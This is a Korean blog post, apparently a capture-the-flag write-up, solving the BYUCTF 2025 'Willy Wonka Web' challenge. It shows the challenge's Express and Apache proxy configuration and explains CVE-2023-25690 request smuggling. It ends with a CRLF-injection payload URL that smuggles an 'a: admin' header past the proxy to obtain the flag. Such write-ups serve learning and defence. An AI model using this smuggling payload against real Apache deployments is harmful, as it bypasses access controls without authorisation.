Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

[WEB] Willy Wonka Web - BYUCTF 2025 본문

CTF

[WEB] Willy Wonka Web - BYUCTF 2025

{{HW}} 2025. 5. 27. 22:41

 

💉 Exploit

🛠️ Step 1. 코드 분석

 

server.js

// imports
const express = require('express');
const fs = require('fs');

// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000

// endpoints
app.get('/', async (req, res) => {
    if (req.header('a') && req.header('a') === 'admin') {
        return res.send(FLAG);
    }
    return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});

// start server
app.listen(PORT, async () => {
    console.log(`Listening on ${PORT}`)
});

 

 

httpd.conf

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

 

RewriteRule:

  • 요청이 /name/anything 형태이면 → http://backend:3000/?name=anything 으로 전달
  • [P]: 프록시 모드, mod_proxy로 전달 (내부 프록시 역할)

ProxyPassReverse:

  • 백엔드에서 Location 헤더 등이 들어올 경우 → /name/으로 재변환해 클라이언트에게 보냄


🛠️ Step 2. [CVE-2023-25690] HTTP Request Smuggling

RewriteEngine on
RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
ProxyPassReverse "/name/" "http://backend:3000/"

 

RewriteEngine on 이 설정되어 있는 경우 URL rewriting engine을 활성화 한다.

URL rewriting 기능을 통해 여러 URL로부터 웹 서버가 동적으로 처리주며, " http://backend:3000/?name=$1" 접근 시 1 이라는 값을 정규표현식 ^/name/(.*) 에 대입이 되어 http://backend:3000/name/1 로 Rewrite 되는 효과를 가진다.

 

https://httpd.apache.org/docs/2.4/rewrite/proxy.html

 

Using mod_rewrite for Proxying - Apache HTTP Server Version 2.4

Using mod_rewrite for Proxying This document supplements the mod_rewrite reference documentation. It describes how to use the RewriteRule's [P] flag to proxy content to another server. A number of recipes are provided that describe common scenarios. Descri

httpd.apache.org

 

 

🛠️ Step 3. flag

https://wonka.chal.cyberjousting.com/name/testHTTP/1.1%0d%0aa:admin%0d%0aX:

 

백엔드 서버에서 두번의 HTTP 요청을 받도록 HTTP Request Smuggling 취약점을 활용한다.